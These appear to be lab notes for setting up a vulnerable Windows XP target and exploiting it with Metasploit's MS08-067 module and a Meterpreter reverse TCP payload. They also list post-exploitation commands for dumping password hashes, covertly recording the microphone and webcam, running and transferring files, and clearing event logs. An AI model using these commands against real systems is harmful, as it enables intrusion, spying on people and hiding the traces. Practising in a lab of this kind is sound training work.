Metasploit

This should also work for command line IP address changes to Linux:

edit the file /etc/network/interfaces

Change:

auto eth0
iface eth0 inet dhcp

To:

auto eth0
iface eth0 inet static
address 172.16.40.10
netmask 255.255.0.0
network 172.16.0.0
broadcast 172.16.255.255
gateway 172.16.2.47
dns-nameservers 172.16.2.4 172.16.2.15

Restart neworking

sudo /etc/init.d/networking restart

Windows XP SP 2 Setup:

Make sure Automatic Updates are disabled, the Windows Firewall is off, and the system has been restarted at least once.

Metasploit:

use exploit/windows/smb/ms08_067_netapi

set rhost 192.168.1.45

exploit #Do not execute at this point if you want to add the payload below

? or help #see the list of available meterpreter commands

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST <attacking_kali_host_ip>

set LPORT <local_port> #default port is 4444

You can verify the connection from the remote machine with the following command:

netstat -a | grep 4444 #4444 assumes default local port

Some interesting Meterpreter commands are:

hashdump #get password hashes to crack, crackstation.net
record_mic #record audio
webcam_list #list available webcams
web_snap #take a picture with the webcam
web_stream #stream video from webcam
sysinfo #get remote system information
shutdown #turn off remote computer
reboot #reboot remote computer
ps #list processes running on remote computer
kill #end process running on remote computer
execute –f <file> #start program on remote machine
clearev #clear the event log
upload #send file to remote system
download #retrieve file from remote system

service postgresql start #start the db
service metasploit start # connect metasploit to database
db_rebuild_cache #build cache for searching
db_status # check status of db
db_nmap <target IP> #add listening ports to database
hosts # shows scanned targets
services # show services on targets
search <service  name> # find a possible exploit
use exploit/<exploit name> # run the exploit
show options # for options to configure like set RHOST
check # will see if target is exploitable
exploit # to try the exploit